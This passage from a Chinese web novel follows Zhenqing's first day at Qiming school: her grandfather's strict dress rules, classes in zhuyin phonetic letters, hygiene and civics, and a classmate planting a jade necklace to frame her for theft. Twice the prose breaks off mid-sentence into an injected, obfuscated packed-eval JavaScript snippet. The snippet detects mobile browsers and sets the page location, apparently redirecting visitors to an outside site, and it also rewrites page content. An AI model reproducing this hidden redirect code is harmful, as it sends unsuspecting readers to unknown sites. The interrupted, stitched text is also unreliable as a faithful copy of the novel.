躺在床上歇了一会儿神,外面鞭炮大响给她吓了一跳。那鞭炮声噼里啪啦地,响了好一阵才算完。珍卿一边琢磨点儿事,一边无聊地踢着桌子脚。过了一会袁妈找过来,摸了摸珍卿的额头,问她头还难受吗,珍卿说好点了。袁妈这才问她:“族长家的玉琮少爷到处找你,我给他拦在外面,小姐见不见他?” 珍卿大大地点头说:“当然让他进。他是我嫡亲的侄孙儿,还是我最好的朋友,没啥好避讳的。袁妈,你赶紧请他进来,再给我们备几样热菜,不要凉的。”袁妈就脆声答应着去了。 不到片刻,玉琮就小跑着进来了。玉琮找张椅子坐下问:“你咋不去前面吃席呢?”珍卿说:“前面太吵,想躲一会儿清静。”玉琮凑过来小声跟她说:“你祖父刚才跟他们提,说要给你入族谱的事。”珍卿冷哼一声,没有吭声。 其实比较小的时候,她就听那些族老们议过这件事,她至今还记得一个老头儿说的话:“……谁都是人生父母养的,都有个来处。珍妹妹千好万好,只是父母不好。容了她这一回,以后族中男女见异思迁,是不是有样学样,也能败坏纲常,侮辱家风?长此以往,杜氏族人是否就能为所欲为?” 玉琮担心地看着她,珍卿却无所谓地跟他说:“入谱的事,我早不在乎了。只没想到我祖父还惦记得这么深。”玉琮挨着珍卿坐下,拉着她的手嘟着嘴说:“珍卿,你不入谱也好,入了谱辈分称呼就要认真序起来,到时候就得叫你姑奶奶。你就不像好朋友,反倒像个老太太。” 今天是为开学办酒席,珍卿想起来就说: “玉琮,杜家庄离县城有二三十里路程,肯定不能每天来回。我上启明学校指定要住到城里,就看祖父是赁个房子住,还是让我住堂。” 玉琮神情一顿,黯然地说:“我本来想跟你一起,也到启明学校。可是我二叔让我上永陵市里。四叔在津城也说叫我过去。我爷和我爹还没商量好。” 珍卿撑着脸看他:“你四叔成亲了吗?有几个孩儿?去他家好相处吗?”玉琮大叹道:“就是这个烦,四叔四婶结婚快十年,只生了我九妹一个妮儿,我爷奶跟我爹娘说,想把我过继给到四房去。我爹娘不愿意,还在闹呢……” 珍卿大张着嘴,震惊地“啊”了一声。 过继兄弟家的孩子继承香火,这种事在此时是很常见的。可是玉琮都十四岁,按虚岁都十六了——按老话说,这么大的养不熟了。不过好像也没办法,向渊堂兄的大儿子生了四儿两女,就属大房儿子最多,要过继也只好过继大房的。 两人正在说话,袁妈和老铜钮两个人,给他们两个送热饭菜来了。 …… 15. 初入学诸事新奇 启明学校的入学时间是阳历六月三号,按阴历算大约在五月端午的时候。 这个入学时间挺怪的,但想必学校一定有他们的考虑。珍卿也没有多纠结。 杜太爷可就因此忙活起来,她也不跟珍卿交代什么,反正就时不时地离开杜家庄,一出去就几天不回来。他这样神出鬼没的,过了有大半个月时间。 阴历四月末的一天,杜太爷喜气洋洋地回到杜家庄,还是没跟珍卿说什么,拉着不少东西还带着袁妈和老铜钮,急脚风似的跑到县城里去了。 珍卿在家照旧读书写字,她也不怎么着急。照她的猜测,杜太爷是到县城赁房子去了——因为老头儿没提过让她住校。 珍卿自己在家学习累了,也在村子和田野里走一走。村民对她的态度有了不小的变化,反正原本客气的就更加客气,原本不热络的变得稍微热络些了。 入学的前一天,珍卿站到了县城的一个小四合院里。这座院房离启明学校只隔着一条街道,直线距离非常之近,但地上的路肯定是绕一点的。步行大约要二十多分钟,坐马车能稍微快一点。 这个院子不是杜太爷赁下来,而是花钱买下来的,一溜儿的青砖瓦房很规整,一进的院子房间真不少,暂时分配安排如下:正房三间杜太爷住,两个耳房一间做仓房,一间做烧水房。西面厢房小三间由珍卿来住,东厢房暂时闲空着。袁妈、老铜钮两人住在南房。厨房在南房西边,厕所在东南角,杂物房也都在南房上。 珍卿站在自己西厢房的屋檐下,看见小院整齐地铺着砖,种了不少花卉和矮树,夏天里鲜花盛放、绿荫如盖,目前看来环境还算不错。 袁妈远远在厨房那喊:“太爷,小姐,吃饭了。” 安生吃了小院里的第一顿晚饭,家务简单也并无别的事,珍卿就早早洗洗睡了,预备着明天早起上启明学校。进新家的头一天晚上,自然感觉环境很陌生。幸好这房子隔音还不错,屋子里空气也还沁凉,珍卿虽说入睡比从前慢,但也慢慢地睡着了。 第二天一早起来,袁妈早把供挑选的衣裳都在炕尾摆出来。珍卿迷瞪了一会儿,袁妈就喜气洋洋地说:“小姐,今儿头一天上学堂,就跟戏台上的角儿一样,亮相一定要亮好。老话说得好,佛靠金装人靠衣装,要挑一身最显眼穿上。” 珍卿揉了一把脸,在摆的衣裳里逡巡一转,还真是挺难抉择的。她的衣裳都是很老气的颜色——没什么亮眼的。这都是杜太爷搞的事。本来她的四季衣裳,姑奶奶家里都给包了,早几年姑奶奶给她做了不少鲜亮衣裳。可是杜太爷都挑拣出来,锁在箱子里不给她穿,给她穿的都是黑灰绛绿的老气颜色。珍卿听说她姑姑是个爱美爱俏的姑娘,但这个爱美爱俏的姑姑逃家了,珍卿怀疑杜太爷的不叫她穿鲜亮颜色,是从这个上面得来的病根。 珍卿想挑个鲜亮的都挑不出来,想一想对袁妈说:“就那套绣花的绿绸衫和黑绸裙子。”好歹绣花衣裳显得高档些。上回穿林小霜的旧棉袄,被当成打秋风的穷亲戚。这次头一天上学穿得好些也没毛病。珍卿穿好衣服对着镜子整理一番。 现在的大城市里,肯定已经流行修身的女性服饰了,上回考试见的周先生穿的就是紧身洋装。但珍卿现在还穿那种宽大不贴身的裙裳——很难说有啥时尚感,但她穿着其实觉得挺舒服的。 袁妈在箱子里又翻腾一会儿,这时捧出来一个黑色镶螺钿的漆盒,小心翼翼地放在桌上打开来,跟珍卿说:“小姐,现在的人都是狗眼看人低,势力得很。看你穿戴不好就瞧不起人,有的还要欺负人嘞。小姐,等一会儿头梳好,给头上戴些鲜亮的钗子,把那银镯子、银铃铛还有绣花的荷包串子都戴上一些,到学堂可别叫人小瞧了。” 珍卿一看这首饰盒里的东西,大多都是银制的,金的、玉的、翡翠的几乎一件也没有。她知道杜太爷肯定是把好首饰都藏起来,留下这些在考验袁妈呢。珍卿也不吭声,就由着袁妈一边梳头,一边絮叨着“佛靠金装,人靠衣装”的理论。 等到头梳好了,袁妈就在首饰盒子里翻。翻半天挑出一个烧蓝琉璃镶红小钗子,正要给珍卿别在辫子上,忽然听见杜太爷的声音:“你给她插那些个做啥?” 袁妈还拿着东西在珍卿脑袋上比划,还跟杜太爷乐呵呵地说:“今儿是大小姐头天进学,要打扮得精神些,免得叫人笑话。”外面天还没大亮,杜太爷站在窗外,吊着个棺材脸还是很能唬人的,他沉声说:“她是进学长学问去,又不是走亲戚串六家的,打扮得花里胡哨地,跟人比来比去,那还有心思念书?把寄名锁给她戴上,头上只扎个红头绳就行啦,不许戴那些个烂七八糟的。” 袁妈有点不能理解,正想争辩几句,珍卿扯扯她的衣裳,使眼色叫她不必争论。 杜太爷看看桌上的首饰盒子,又嗡声翁气地跟珍卿补充一句:“那些荷包、手钏子、手镯子,你都不许戴,戴了我要打你的。” 珍卿还没怎么样,袁妈却有点生气了,她不做声地在心里想:他养的是个小姐,养的又不是尼姑、道婆,弄得这么素净做什么。袁妈虽然没多说什么,但脸色不好看,倒也嘴紧地没跟珍卿牢骚。珍卿也习惯了杜太爷作派,也没跟袁妈多说什么。 杜太爷是发工资的人,说到底,袁妈和老铜钮要适应杜太爷,而非杜太爷要适应他们,珍卿犯不着养他们的脾气拱他们的火。就是珍卿自己,说是杜太爷唯一的孙女,但很多事也不过靠忍耐过来的。 重新梳好了一根长辫子,袁妈结结实实地把红头绳给珍卿绑在辫梢上。绑完了头绳让珍卿照镜子,袁妈长长地叹一口气。珍卿也轻轻地叹一口气,摸摸辫梢上扎紧的红头绳,她想起著名歌剧《白毛女》里,她唯一记得的四句唱词:人家的闺女有花儿戴,我爹钱少不能买,扯上一尺红头绳,给我扎起来,唉,唉……给我扎起来。 待珍卿穿了一身绿衫黑裙出来,素素净净啥首饰也没戴,杜太爷看得就很满意了。 早饭是臊子面,有蛋有肉,珍卿呼啦啦爽快地吃完了。 开学头一天,杜太爷也跟珍卿去学校。因为入学通知中特意说过,头一天上学请杜珍卿的家长同到学校。 到了学校,杜太爷从车上下来,和珍卿一起进校门。而后,杜太爷被另一个校工领着,据说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411966|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是去见卢纯庵教务长去了。教务长具体干啥的,珍卿不太清楚。但顾名思义应该是管教务的。 珍卿被校工引导着到了女部教学楼。是的,女部教学楼。启明学校不搞歧视女性的那一套,让女孩子也有受教育的机会。但是,初小的学生(一至四年级),还可以男女合班教学。高小的学生(五、六年级),还包括初中学生就必须男女分班教学。 以珍卿的猜测,这应该是县里士绅地主的底线,他们把孩子送进学校来镀金,大概并不想看到半大的男女孩子整天厮混在一起。这种安排正说明此时民间风气还未开化。进了女部教学楼,校工给她指点了六年级教室,却又先指点她先去教师们的公事房。 这里的公事房,应该说的就是办公室了。珍卿上到三楼,在校工说的公事房前敲了敲门,里面一个女声说:“请进。”她就推开门进去,里面是个不大的公事房,有五六张桌子只坐了有四位男女教员,都在自家案头上忙活着。 看见珍卿进来,坐在窗户边的女先生——就是珍卿考试时监考的梅历雪先生,笑着跟她招手:“杜珍卿同学,请你过来。” 珍卿就老实地走到她的办公桌旁,梅先生搬了张方凳让她坐下,然后和蔼地对珍卿说:“杜珍卿同学,这次的招生考试你表现非常优异,在一百五十九人中拔得头筹,着实令人瞩目,祝贺你,杜珍卿同学。依你的程度,直接到初中部也可以读。但是校长、教务长都认为,高年级学生普遍年龄偏大,你在中间有许多麻烦事怕应付不来,于你的成长进步也不利。所以,就想让你按部就班,从高小六年级开始读。关于分级的事,教务长也正跟你的家长说明。杜珍卿同学,事情还没完全落定,你若有想法,不妨说一说。” 珍卿其实早想过这事,招生简章中说过,高等小学校招生年纪十二到十五岁,初级中学招生年纪在十五到十八岁。她猜测校方这样的安排,多半是为这方面的考虑,今天看来果然如此。 珍卿就老实乖巧地说:“校长、教务长和先生们,都是为我着想,我年纪小,许多事都不懂,愿意听从师长安排。”坐在梅先生对面的男先生,就笑呵呵地说:“果然是头名状元,说话也爽快。”梅先生笑着跟珍卿介绍:“这位是岑先生,以后教你们六年级的历史、地理课。” 珍卿连忙站起身,给岑先生鞠躬并喊:“岑先生好。”岑先生笑得很温和,招手叫珍卿过去,珍卿瞅了梅先生一眼,梅先生含笑点头。珍卿就小跑着到岑先生旁边。岑先生对书法感兴趣,听说珍卿字写得很好,问她的书法先生是谁,学了几年了等等。 看时间差不多了,梅先生就打断二人说:“杜珍卿同学该去教室了。”接着,梅先生跟珍卿说教室在哪儿,叫珍卿先自己找过去。珍卿离开公事房后,四个教师议论珍卿几句,说的都是他乖巧伶俐。聪明而老实的孩子,当先生的大概没有讨厌的,所以珍卿习惯性地表现乖巧。 才认识珍卿的人们,总认为她是个老实人。这也怪不得他们。珍卿在杜太爷手下讨生活,莫名其妙的规矩和要求太多。没有老实的里子,她也得装出老实的样子,不然日子也过不下去。 16. 新式学科真奇妙 珍卿下到二楼找到她的教室,发现里面人已很多,自然是清一色的娘子军了。吆呵,林小霜竟然跟她一样,也上六年级来了。看来这她学习还是不错的。三表叔说过对林家不能“打草惊蛇”,珍卿见到林小霜也没啥想法,但原则还是“人不犯我我不犯人”。 教室里的祖国小花朵们,多数穿得都是“花里胡哨”的。戴长命锁的小姐姐们,那长命锁材质不同,金银宝玉各种各样……女孩子们耳朵上的坠子,胳膊上的手镯、手串,也都让人看得眼花缭乱。这些小孩儿戴的东西,简直能开一个首饰铺子。不过,不怕有人见财起意偷东西吗? 珍卿还看见一个穿桃红色洋绸裙的女孩儿,通身上下戴了一整套的翡翠首饰:头上是鎏金镶红翡翠钗,脖子里是沁绿的翡翠项链,手腕子上是一对翡翠镯子。这个女孩儿倒也不是陌生人,就是上回考试跟林小霜关系很好,说她是林家打秋风的穷亲戚的那个,只是不晓得她叫什么。 …… 珍卿看见这些人觉得眼花缭乱,反观自己一身丧丧的暗绿深黑,简直黑无常出街似的,完全格格不入。她不免在心里暗叹:果真如袁妈所言,第一天到学校,人人都想有一个精彩的亮相,人人都想让人高看一眼,可不都在穿戴上下足了功夫嘛。 唉,这里的小学生觉悟太低了,俺们后世的小学生们,哪个会穿金戴银、花枝招展地上学?唉,算了算了,她注定是个不拘一格的人,还是先找个座位坐下等上课吧。 这教室算不上大,约摆了二十副桌椅,现在一多半坐了人,后面倒是没啥空位了,第一二排几乎没人坐。看来古今皆同此理,都不愿坐在先生眼皮子底下。 珍卿在第二排找个靠窗的位子坐下,屁股还没坐定就听后面有人叫:“喂,那个穷丫头……” 珍卿正在无聊地想些事情,忽见面前来了两个女孩,很不友善地站在她的桌前,那个一身翡翠配饰的不屑地冷哼:“乡下人真没家教,叫你半天你咋不答应,你聋了吗?” 珍卿坐正身板,瞅瞅来者不善的两人,露出很单纯的笑站起来作揖道:“失敬,失敬,这位姐姐,你啥时候叫的我?我实在没听到,请问有何贵干吗?”另一个穿着杏黄绸衫的姑娘,她那大襟的盘扣上挂了赤红的流苏坠子,映着太阳光真是好看极了。 这流苏姑娘猛一拍桌子,冷声说道:“你少装模作样的,叫了你半天,你撑着脑袋捂着耳朵当没听到,一个乡下丫头仗的谁的势,敢这么瞧不起我们,你倒是说说看?” 珍卿心想:现在是一对二的情况,陌生人间又会选择冷眼旁观,第一天就闹出事怕先生同学对她印象不好。再说这里的同学非富即贵,在不知底细的情况下,最大限度地避免冲突才最明智的选择。 那个翡翠小姐姐抢在她前面说话:“喂,小乡巴佬,我上回跟你一个考室,你不记得了?我问你,你上回考试睡过去,你咋进来的,是不是走后门啦?”珍卿刚张开嘴,想说一句“我是头名考进来的”。 这句拉风的话来不及说出口,忽听后面一个人大声喊道:“先生来了,快回座位。”珍卿回头一看,发现是林小霜喊的这一声。哎,这个女孩儿小小年纪戏太多——刚才跟她对峙的两位小姐,看来是听林小霜说了闲话,惹得这两人一上来就找茬儿。不过林小霜这么怕她说出端底,倒还说明她心虚害怕了。 片刻功夫,梅历雪先生果然走进教室来了。梅先生到讲台先做自我介绍,说她是六年级女班的国文先生,除了课业上的困难,有其他难题也可以找她,他跟另一位女先生一同做班主任的活。 然后梅先生讲了课时长度、课堂纪律,还有如厕、吃饭、看病、请假等诸事,还大致说了正式上课后会有哪些科目。那些科目的名称有的听着挺新鲜。珍卿听了个大概暗暗记下了。 梅先生接着说,六月和七月这两个多月时间,大家主要的任务是掌握教育部推行的一套注音字母。这期间其他的课程比重不大,但要借这段时间把这些课科目熟悉起来。 按教育部的规定,到秋后九月才算正式开学,度过六七月份的这个适应阶段,启明学校九月以后才会排正式课表。 珍卿心想,果然提前开学是有原因的,原来是为了学啥注音字母。她又琢磨注音字母是个什么内容,忽见梅先生对她一笑说道:“杜珍卿同学,请你起立。” 教室里忽然嗡的一声响,大家就看着那杜珍卿同学站起来。翡翠小姐和流苏小姐惊诧地轻叫出声,原来她就是头名的杜珍卿——她是自己考进来的。 梅先生指着珍卿对大家说:“别看杜珍卿同学年纪小,她可是头名状元考进来,你们都是大姐姐,可要照顾小妹妹哦。”张翠翠睨了一眼林小霜,这一眼很不友好。 林小霜现在忐忑极了,她原以为杜珍卿肯定考不上,她对张翠翠说的那些谎话指定不会戳破。 谁知道杜珍卿竟然考进来,而且是第一名。那天明明看她睡那么久,天知道她怎么考的。 珍卿坐下时眼睛一动,知道梅先生大概看到刚才的场面,轻轻地敲打了一下大家。这件事由做先生的说出来,会比珍卿自吹自擂效果好得多。可是有时候,一个学生成绩好又有师长维护她,也会引起同学们的反感和孤立。不过珍卿从小就是孤独长大,倒也无所谓。 说完了杂事闲篇,梅先生作为国文先生,梅先生先给大家发了一份油印的讲义,开始给大家讲注音字母是怎么回事。 原来这种注音字母,就像后世的拼音一样,是把一种声母、韵母合起来可以拼出字音的方法。 珍卿从四岁来到这里,是这里的亲妈教她认字。这种认字,就是她直接教给你怎么读,你就记着怎么读就行了,并没有一种拼读的方法。但她妈教的字音有明显的方言口音,跟后世的普通话差别不小。 后来跟着匡先生念书识字,遇到生字也是匡先生教着读字音,还是没有拼读的方法。而匡先生不是禹州本地人,他的字音又带有他自己的方言口音。 珍卿有一段时间,对于某个字该怎么念,真是有点无所适从的感觉。后来,匡先生给珍卿买了一本《熙成字典》,字典对于字的读音有两种标注方法。第一种就是“以字注字”,比如“鼓”字,字典里的词条对读音的解说,就是“从音古”。意思是说,“鼓”和“古”的发音是一样的。 第二种拼读法是双拼制,就是用一个汉字或注音符号表示“声”,用另一个汉字或注音符号,表示“韵”和“调”,把他们拼合成所查字的读音。比如说,还是上文的“鼓”字,《熙成字典》里解说可以“果五切”。意思就是拿“果”的声母“g”,跟“五”的韵母和音调“ǔ”,切出来一个新的读音“gǔ”,就是“鼓”的正确读音了。 这两种方法虽然传承多年,但缺陷也很明显:它还是会被方言拖后腿,不好掌握不好运用,不利于汉字的大规模推广。 现在已经是民国了,有识之士推行“教育救国”,要教育蒙童和文盲先得识字。而汉字的字音和字形都不容易掌握,说起来确是很难普及的一种文字。 梅先生讲的这一套注音字母,就是改进旧式的反切法,重新形成了一套语音系统。她先大致讲了“注音字母”的前世今生,告诉大家这套注音字母声母有24个,韵母15个。她先开始教大家学声母。她拿着粉笔在粗糙的黑板上,先写了一个很奇怪的符号“ㄅ”。 珍卿看看手上油印的讲义,上面写的有一样的符号。这里的“注音字母”,明显不是后世通用的拉丁字母拼音。这符号也不像一个字,倒像一个汉字的笔画。 然后梅先生指着这符号教大家念,念完几遍给大家演示了怎么写。珍卿听着就是后世拼音里面“b”的发音。一边跟着重复念读,一边在纸上写这个符号。 后面,梅先生又教了注音字母“ㄆ”,对应后世的声母“p”。还有符号“ㄇ”(对应m),符号“ㄈ”(对应f)。 珍卿学到这一会儿就明白了,这一套注音符号应该就是后世汉语拼音的原始版本——相当于是老祖宗吧。只是这里注音字母标示的符号,跟后世采用的拉丁字母(bpmfdtnl……)不一样。但是作用本质是一样的。 一明白是怎么回事,珍卿学得就很得心应手了。她学习的重点就是把读音跟这些符号联系起来掌握,达到一看到符号就能立马读出来的程度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411967|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后大家自己练习读写时,梅先生在教室里巡视,时不时停下来,单独纠正大家的读音。 竟然还有不少学生在问,这东西这么怪,学了究竟有什么用。梅先生不得不再把这套注音字母,跟旧式的“双拼切字”法,简略地给她讲一讲,说明这其中的用意。 梅先生见珍卿一边读一边写,听她的发音也很不错,她的两条小腿儿在桌底下还一弹一弹地,看起来学得很快乐。梅先生不由一笑,这小妮儿挺讨人喜欢。 珍卿也很惬意地做着她的小学生,一节课就在读读写写中过去了。休息十分钟后,第二节课还是国文课。先学的四个注音字母,大家大都读写熟了。梅先生结合大家已认识的字,讲了讲哪些字有这些声母。 上午一共有四节课,前两节都是国文课,就学了四个注音字母以及它的简单应用。 第三节是公民课,是上回给珍卿监考的周先生教的。这个周先生看人总是居高临下,显得人很傲慢且瞧不起人似的。至少她给珍卿的感觉是这样。 一听这个公民课的名称,珍卿设想应该跟公民素质有关的。结果周先生花了一节课时间,给大家讲作为学生应有的礼节。比如,见到师长应该怎样称呼、敬礼和鞠躬。还有同学间如何相处如何称呼;上课时有问题或有尴尬的事,需要出去处理一下,应该举手报告(举右手);走进教室、走出教室,应是怎样的姿态;站立和坐下的姿势,也有特别的规范…… 周先生不但口头讲解,而且亲身示范。她不但自己亲身示范,还把坐得近的珍卿拉上去,叫她为大家先做他要求的各种动作。珍卿无论做什么动作,这位周先生都有一大通批评的话。这姓周的先生会说:“你们乡下孩子上得起学,难道不学点见人的礼数,你咋啥都不会?”又会说:“光文课学的好有啥用?我们是新式学校,讲的是全面发展,你将来上劳作课、体育课、家政课,也这么笨手笨脚的吗?” …… 珍卿像个傻瓜一样,被爱找茬的周先生拨弄来去,简直左也不是右也不是。弄得满堂学生看着珍卿的滑稽动作,都在那里窃笑不已。能够逗人笑是荣幸,但这种笑若是轻蔑、轻视的,那可就不妙了。 她觉得这位周先生,要么对她有偏见,要么是情商真的低。但这婆娘说话这么尖酸刻薄的,肯定在哪儿都人缘不好。 等第三节课下课休息,那个戴着满身翡翠的女孩儿,过来跟珍卿说她叫张翠翠,她的同伴流苏姑娘叫潘玉美,他们问珍卿家里是做什么的。 珍卿就如实地回答她们,说乡下老家里有几顷地,县城还有几个铺子,林小霜家的东升粮店就是她家的,不过她家也就是乡下种地的人家。 张翠翠听见立时脸色不好,跑到后面找林小霜去了,珍卿见张翠翠声色俱厉地跟她说话,林小霜楚楚可怜像被张翠翠吓坏了。 第四节课是卫生课,是一位姓史的女先生教授。她讲了很多在后世算是常识的卫生知识。个人卫生方面,除了饭前便后要洗手,还包括洗头、刷牙、洗澡、洗屁股。甚至还讲了女孩子解了大便,擦屁股应该怎么擦,还有擦屁股用什么纸……这帮女孩子听得大惊小怪,好像听到外星人讲话似的。 关于这一点上,真不得不说,人家新式学校就是先进。九先生学问再深,也不可能教族学里的男孩子怎么洗脸擦屁股。有很多卫生知识别说穷人不晓得,连许多所谓的有钱有地位的人也不讲究。 史先生讲了个人卫生,其后又开始讲公共卫生。在这个动乱的时代,各种传染病不时爆发,倒逼着人们要讲究公共卫生。还有西方文化的浸入,也让中国人开始重视起公共卫生。比如,注意学习和生活区的卫生,不乱扔垃圾、不随地吐痰、不随地大小便。再比如在公共场合,不要随便打喷嚏、乱咳嗽,不要接近患了传染病的人…… 因为时间有限,史先生讲得很概括,很多细节还没展开讲。但同学们听得挺认真,也觉得很新鲜、很怪异,有的内容还显得惊世骇俗似的。珍卿看大家的反应,觉得很有趣,就偷偷在纸上,用毛笔画点先生和同学的剪影。 一上午四节课,珍卿觉得挺充实,虽然有点小瑕疵,但适应得还算不错。 17. 小逞口舌破奸计 上午第四节课下课铃响,就算到了午饭时间了。原则上说,学生无论住堂不住堂,中午一律不许出校门,都要在学校饭堂里用午餐。吃饭的时候也不分男女,大家都在一个大饭堂里吃。 上学头一天食堂中午菜有三样,一个五花肉炒土豆,一个清炒空心菜,一个黄瓜炒鸡蛋。但是可想而知,头道菜里肉给得也不会太多,大锅菜想来也不会多好吃。 启明中学大部分学生是富家子弟,人家哪里吃得惯这些个,自然家里早给备了东西,中午可以由外头人送菜进来加餐——这一点学校也是允许的。 珍卿看着周围的学生,有的家里送的饺子、糕点,有的送烧鸭、牛肉,更夸张的还有送不好拿的汤水的……看得人忍不住咋舌。 珍卿早就想得到,即便启明学费不算太高,能上得起学的大部分还是他们这些有产阶级。 珍卿看着送来的这些五花八门的加菜,意识这些跟那些女生在穿戴上下功夫一样,都是为了显示出身,不被人比下去。 珍卿在杜太爷手底下讨生活,她是没什么心气跟人比高低比上下,凑凑合合过得去就行啦。她过去把饭堂的菜打了少许。她家里袁妈也送菜进来,很小一个食盒最多能装两个菜。不过珍卿觉得很好了,幸亏老头子不反对给她送饭,好歹午餐不用吃得那么寡淡。袁妈把食盒盖子一揭开,里面坐着一碗红烧肉,还有一碗锅贴豆腐,都是珍卿爱吃的,她一看就对袁妈笑起来。 袁妈在旁边站着也挺高兴,连忙笑着催促她:“小姐,上了半天学,趁热儿赶紧吃。”珍卿赶忙操起筷子开吃。 珍卿斜对面不远的位置,早上质问过珍卿的张翠翠和潘玉美,把林小霜夹在中间坐着。 林小霜每夹起什么菜,张翠翠就把她夹的菜打掉,打掉了却又笑得很热情:“小霜,你看这些菜,都是我家里最好的厨子做的,味道还不错,你快尝尝啊,你别作假啊。”潘玉美却在一旁笑着说:“翠翠,你也太傻了,你把她当个知交心腹,她把你当傻子耍你耍得好玩呢。” 张翠翠脸色一落筷子一丢,瞅了眼林小霜气怒道:“算我瞎了眼,林小霜,以后咱俩谁也不认识谁。” 林小霜吓得眼泪直落,她费这么大力气考学,就是为了鲤鱼跃龙门,在学校结交有钱有势的人。可是这样被张翠翠一脚踹开,以后谁还会高看她一眼? 林小霜看杜珍卿坐得不远,她压低声音掉着眼泪跟张翠翠说:“翠翠,我没有故意骗你,你是我唯一的朋友,你不知道,我多珍惜我们的友情。这里面有难以启齿的事,我不告诉你,是因为我爹娘不让在外面我乱说。你别不理我,我把什么都告诉你,你替我保密好吗?要不然,杜太爷不会放过我们一家子。” 张翠翠这才来了点兴趣,连潘玉美都想凑过来听。但林小霜就贴着张翠翠耳朵,小声跟她嘀咕了好一阵。张翠翠听时震惊地张大嘴,原来杜家出了这么多烂事儿,杜珍卿还装的一副老实可怜样子。这样的身世竟然还敢颐指气使,把小霜她妈当老妈子使,折腾人家一夜。 小霜是因为替她妈生气,考试那天才不想理会杜珍卿,才造成了那样的误会,这样看好像也不是十恶不赦。林小霜才十三四岁,一时冲动说了不该说的话,心里却后怕起来,连忙央告张翠翠: “翠翠,我告诉你的,不要说出去。要不然,杜太爷不会放过我们家。” 张翠翠看她可怜兮兮的,点头答应下来了。这时听到潘玉美不远处的杜珍卿,嫌恶地说:“你看那丫头,饭堂那么寡淡的菜,吃得像山珍海味一样。她家里真是财主吗?咋地像个叫花子一样。” 张翠翠没有吱声,她刚刚答应林小霜,不能把杜家的事说出去。却在心里想:杜珍卿的爹娘是在外面过不下去才回的杜家庄,她肯定在外面过过苦日子,说不定还吃过烂菜叶子的。这饭堂里的菜虽说寡淡,比剩菜馊饭总强多了吧。 潘玉美在一边总问,林小霜跟她说的什么——张翠翠忍了又忍才没有说出来。 吃完午餐,张翠翠和潘玉美结伴去上厕所,林小霜巴着她们一块儿去。 张翠翠上完厕所,想好好洗个手,就把戴的翡翠镯子取下来,叫林小霜先帮她拿一下。林小霜看这对翡翠镯子计上心来。 下午只有三节课。两节国文课,先复习上午学的四个注音字母,又学了四个新字母。第三节课还是公民课。 公民课上复习完上午学的内容,周先生又跟大家强调了学生纪律,哪些事是禁止的,若有偷窃、斗殴、无故旷课、不敬师长、欺辱同学等行为,学校会有处罚的。关于这个偷窃啊,偷小物就会记大过,偷贵物甚至会被开除。这个时候,人们对学生的私德真的非常看重。 第三节课下课的铃声打响,珍卿正在收拾东西,忽然在书包里摸到一件陌生的东西。珍卿下意识地拿出来看,咋这么像张翠翠戴的翡翠项链? 她心里一个激灵,往后面一看,正与林小霜的眼神撞上。林小霜这个不干好事的死丫头,人不大,那狡猾阴沉的眼神还挺像一个反派的。 珍卿这时候便看到,林小霜跟张翠翠说了句话,张翠翠立刻向珍卿这里望来。珍卿蓦然想起一句话,所谓“沧海横流,方显英雄本色”。今天叫你们这些小妮子知道知道,究竟什么才叫“女英雄的本色”。 珍卿这时便猛冲到教室门口,“哐当”一声把教室门关上。然后助跑三两步,高高地跳上了讲桌。她像举着一个战利品一样,高高举着那个翡翠项链,像个愤怒的小豹子审视着大家的神情,然后冷笑着质问道: “各位同学,我就想问一问,张翠翠的翡翠项链,是哪个人放进我书包的?上学第一天多少人还不认得,跟你们有啥仇啥怨,这脏心烂肺栽赃陷害,想让我上学第一天就被学校开除?” 周先生上公民课恰恰就跟人讲过的,偷盗贵重物品会被学校开除的。林小霜这时候却愣住了,没想这杜珍卿会是这个反应。林小霜说杜珍卿偷她项链,张翠翠本在将信将疑的,看珍卿的反应更加费解极了。张翠翠狐疑地看着林小霜,想发问,却不知提一个什么问题才能解答自己的疑惑。 其他同学听见珍卿的话都觉莫名,面面相觑间多觉得很惊疑似的。就见那杜珍卿扫视着下面的同学,两只眼像能喷火似的大声道: “张翠翠的首饰多数时间都戴在身上,取下来要不是交给信得过的人,就是就近放着,我今儿一天根本没向后面座位走。请问大家,我咋拿到她的首饰的?” 张翠翠的小伙伴潘玉美,这时候高声说道:“你也不过是自说自话,有谁能证明,你没到后面来?” 珍卿冷笑一声看向大家:“教室这么小,只有十八个人,我的动静总会有人注意到。今天一共上了七节课,有六次课间休息,还有中午的自修。只有这些时间,可以自由离开座位走动。” 学校的课间休息很短,也就是十分钟,根本不能走远,这都是今天发生的事,所以珍卿记得很清楚:“第一次课间休息,我上茅房去了,打了铃儿才回。和我一起去茅房的人,有——,对不起几位姐姐,我还不晓得你们姓名。我只指出来,看大家咋说……”珍卿就指出三个女生问:“三位姐姐,你们可还有印象?”三个女生中一位回想起来,一拍手说:“对对对,你说我裙子拖在地上了,还帮我提了一下……” 头一个课间休息就得到了同学的证实,就见珍卿站在那高高的桌子上,一点儿不怯场地滔滔不绝地讲,她每一段休的息时间,她人在哪里有哪些证人,她竟然都能一一记起,并且提示一些细节让证人们想起当时的情景,从而替她做证……而且,真的是每次休息时间她都有证人,别人一晃就忘的事她都记得清清楚楚…… 同学们都愣愣地反应不过来,偷东西的事儿竟然还能这样进行自证…… 